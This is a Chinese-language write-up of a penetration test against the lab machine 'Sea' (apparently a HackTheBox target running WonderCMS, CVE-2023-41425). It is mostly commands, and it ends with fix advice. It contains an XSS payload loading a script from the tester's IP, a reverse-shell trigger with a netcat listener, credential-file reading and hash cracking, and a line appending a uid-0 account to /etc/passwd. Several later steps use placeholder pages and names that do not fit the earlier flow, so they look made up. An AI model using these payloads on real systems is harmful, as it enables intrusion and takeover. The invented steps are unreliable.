记一次渗透测试实战之Sea
字数 1251 2025-08-22 12:23:19
WonderCMS渗透测试实战教学文档
1. 信息收集阶段
1.1 端口扫描
使用nmap进行初始端口扫描:
nmap -sS -T4 -p- sea.htb
发现开放端口:
- 22端口:SSH服务
- 80端口:HTTP服务
1.2 Web应用分析
访问80端口Web服务:
- 使用浏览器开发者工具(F12)查看页面源代码
- 检查HTML注释、隐藏字段、JS文件等可能泄露敏感信息的内容
1.3 目录爆破
使用工具进行目录爆破(如dirb、gobuster等):
gobuster dir -u http://sea.htb -w /path/to/wordlist.txt -x php,html,md
发现关键文件:
/README.MD:确认系统为WonderCMS/contact.php:可能存在漏洞的功能点
2. 漏洞利用阶段
2.1 CVE搜索与验证
搜索WonderCMS相关CVE漏洞:
- 确认存在CVE-2023-41425漏洞
- 尝试利用SSRF(Server Side Request Forgery)漏洞
2.2 SSRF漏洞利用
测试contact.php的SSRF漏洞:
POST /contact.php HTTP/1.1
Host: sea.htb
Content-Type: application/x-www-form-urlencoded
parameter=http://internal.service
2.3 XSS尝试
尝试XSS注入:
GET /index.php?page=loginURL"></form><script src="http://10.10.16.3:8000/xss.js"></script><form action= HTTP/1.1
Host: sea.htb
2.4 获取Webshell
利用主题目录上传webshell:
- 访问
/themes/revshell-main/rev.php - 设置反弹shell参数:
GET /themes/revshell-main/rev.php?lhost=10.10.16.3&lport=4444 HTTP/1.1
Host: sea.htb
- 本地监听:
nc -lvnp 4444
3. 权限提升阶段
3.1 内网信息收集
获取初始shell后执行:
# 查看系统用户
cat /etc/passwd
# 查找数据库文件
find / -name "*.db" -type f 2>/dev/null
# 检查网络配置
ifconfig
netstat -tulnp
3.2 数据库凭证获取
定位并读取数据库文件:
cat /var/www/html/data/database.db
发现密码哈希:
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q"
3.3 哈希破解
使用hashcat破解:
hashcat -m 3200 hash.txt /path/to/wordlist.txt
3.4 SSH登录
使用破解的密码尝试SSH登录:
ssh username@sea.htb
3.5 横向移动
- 检查sudo权限:
sudo -l
- 尝试切换用户:
su - otheruser
4. 权限维持与后渗透
4.1 代理搭建
建立SSH动态端口转发:
ssh -D 1080 username@sea.htb
配置浏览器使用SOCKS代理(127.0.0.1:1080)访问内网资源。
4.2 文件读取漏洞利用
发现文件读取漏洞:
GET /vulnerable.php?file=/etc/passwd HTTP/1.1
Host: sea.htb
4.3 SQL注入测试
发现SQL注入点:
GET /search.php?q=1' AND 1=1-- - HTTP/1.1
Host: sea.htb
使用sqlmap自动化测试:
sqlmap -u "http://sea.htb/search.php?q=1" --risk=3 --level=5
4.4 获取root权限
- 添加用户到sudo组:
sudo usermod -aG sudo username
- 或者直接添加root用户:
echo "root2:passwordhash:0:0:root:/root:/bin/bash" >> /etc/passwd
5. 漏洞总结与修复建议
5.1 发现的主要漏洞
- WonderCMS已知CVE漏洞(CVE-2023-41425)
- SSRF漏洞(contact.php)
- 不安全的文件上传(主题目录)
- 弱密码哈希存储
- 不必要服务暴露(22端口)
- 文件读取漏洞
- 潜在的SQL注入漏洞
5.2 修复建议
- 及时更新WonderCMS到最新版本
- 对用户输入进行严格过滤和验证
- 禁用不必要的服务和端口
- 使用强密码策略和加盐哈希
- 实施最小权限原则
- 定期进行安全审计和渗透测试
- 设置Web应用防火墙(WAF)规则
6. 工具清单
本次渗透测试使用的主要工具:
- nmap:端口扫描
- gobuster/dirb:目录爆破
- netcat:反弹shell
- hashcat:密码哈希破解
- sqlmap:SQL注入测试
- ssh:远程访问和端口转发
- 浏览器开发者工具:前端分析
通过以上步骤,我们完成了从信息收集到获取root权限的完整渗透测试流程。每个环节都需要仔细分析和验证,确保测试的准确性和有效性。